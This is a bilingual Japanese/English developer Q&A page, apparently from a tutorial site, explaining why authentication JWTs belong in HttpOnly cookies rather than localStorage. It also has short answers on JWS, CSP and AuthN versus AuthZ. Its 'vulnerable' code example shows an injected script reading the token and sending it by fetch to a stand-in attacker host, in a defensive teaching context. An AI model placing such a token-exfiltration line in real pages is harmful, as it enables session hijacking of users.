なぜJWTをLocalStorageに保存してはいけないのですか?
認証JWTをlocalStorageに保存すると、ページ上に存在するクロスサイトスクリプティング(XSS)脆弱性によってトークンが即座に外部へ持ち出される危険があるためです。HttpOnly、Secure、SameSite属性付きCookieを使用することで、JavaScriptからのアクセスを完全に遮断できます。
Detailed Technical Explanation
window.localStorageは同一オリジンのJavaScriptから無制限にアクセス可能です。サードパーティ製ライブラリの改ざんやDOMベースのXSSが発生した場合、攻撃者はlocalStorage.getItem()を実行してトークンを攻撃用サーバーへ瞬時に送信できてしまいます。HttpOnly属性付きCookieであれば、ブラウザが自動送信しJavaScriptからは不可視となるため、XSSによるトークン盗難を防ぐことができます。
Technical Example & Code
悪意あるスクリプトが1行実行されるだけでlocalStorage内のトークンは流出します。
// 1. VULNERABLE: Token in localStorage can be stolen by any injected script:
const stolenToken = localStorage.getItem('auth_token');
fetch('https://attacker.com/log?t=' + encodeURIComponent(stolenToken));
// 2. SECURE: Server sets token in HttpOnly cookie:
// Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Lax; Path=/
// JavaScript attempt:
console.log(document.cookie); // Token is completely invisible to client JS!Why This Is the Case (Underlying Architectural Rationale)
"ブラウザのSame-Origin Policyはドメイン間の直接アクセスを防ぎますが、同一オリジン内で実行される不正なスクリプトと正当なスクリプトを区別することはできません。"
Common Misconception vs Reality
"Same-Origin Policyがあるため、localStorage内のトークンは安全に保護されている。"
Same-Origin Policyは他ドメインからの直接参照を防ぐのみであり、自ドメイン上で動作するXSS攻撃に対しては無力です。
Related Curious-Techie Resources
Cookies vs LocalStorage: In-Depth Technical Comparison →
Detailed analysis of storage lifetimes, XSS exposure, CSRF mitigations, and performance.
Interactive ToolSecurity Headers Checker →
Audit your website for HttpOnly cookie enforcement, CSP protection, and transport security.
Developer ReferenceWhat is a Cookie? Protocol Definition →
Related Questions in the Q&A Knowledge Base
Yes, standard JSON Web Tokens (JWS) are signed, not encrypted. The header and payload are merely Base64URL-encoded strings that anyone can decode and read in plaintext without knowing the secret key.
Using 'unsafe-inline' in a Content Security Policy defeats XSS protection because it instructs the browser to execute any inline script found in the HTML. Since Cross-Site Scripting works by injecting malicious inline script tags or event handlers, 'unsafe-inline' allows the attacker's payload to run freely.
Authentication (AuthN) verifies who a user is (identity confirmation), while Authorization (AuthZ) determines what permissions or resources that authenticated user is allowed to access.
関連技術エコシステムと次の学習ステップ
関連技術解説記事
What Is a JSON Web Token (JWT)?
Direct definition and architectural breakdown of stateless token exchange.
JWT vs Session-Based Authentication: Architecture & Performance
Compare database session lookups with stateless JWT verification across scalability and revocation.
Troubleshooting: JWT Works in Postman but Fails in Browser
Diagnose and remediate CORS header stripping, HttpOnly cookie constraints, and preflight authorization failures.
実践ハンズオン診断ラボ
開発者向け規格・仕様リファレンス
次のステップへ進む
JWT Interactive Tampering & Validation Lab
Put your theoretical understanding into practice by tampering with claims and testing signature rejection in the live sandbox.